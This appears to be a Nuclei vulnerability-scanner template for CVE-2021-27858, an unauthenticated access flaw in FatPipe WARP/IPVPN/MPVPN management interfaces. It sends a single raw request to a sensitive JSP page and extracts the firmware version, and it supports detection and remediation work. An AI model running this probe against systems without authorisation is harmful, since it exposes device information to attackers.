FatPipe WARP/IPVPN/MPVPN - Authorization Bypass

id: CVE-2021-27858

info:
  name: FatPipe WARP/IPVPN/MPVPN - Authorization Bypass
  author: gy741
  severity: medium
  description: |
    FatPipe WARP, IPVPN, and MPVPN software prior to versions 10.1.2r60p91 and 10.2.2r42 contain a missing authorization caused by lack of access control in the web management interface, letting remote attackers access sensitive URLs, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can access sensitive management interface URLs and obtain device information due to missing authorization checks.
  remediation: |
    Upgrade to FatPipe WARP/IPVPN/MPVPN version 10.1.2r60p91 or 10.2.2r42 or later.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5682.php
    - https://www.fatpipeinc.com/support/advisories.php
    - https://www.fatpipeinc.com/support/cve-list.php
    - https://www.zeroscience.mk/codes/fatpipe_auth.txt
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-27858
    cwe-id: CWE-862
    epss-score: 0.02703
    epss-percentile: 0.8416
    cpe: cpe:2.3:o:fatpipeinc:warp_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fatpipeinc
    product: warp_firmware
  tags: cve,cve2021,fatpipe,auth-bypass,router,vuln

http:
  - raw:
      - |
        GET /fpui/jsp/index.jsp HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "productType"
          - "type:"
          - "version:"
          - "<title>FatPipe Networks</title>"
        condition: and

    extractors:
      - type: regex
        part: body
        regex:
          - 'version: "([0-9.a-z]+)"'
# digest: 4a0a00473045022100d8ff2d8e2ee64d81c481779294ee96d7113979bc8c2996c182365a256651200802207ac7cd1156fcfe7956a0f4b94d76a2765045a1b5a4f6bc35148f4da6ba0ec789:922c64590222798bb761d5b6d8e72950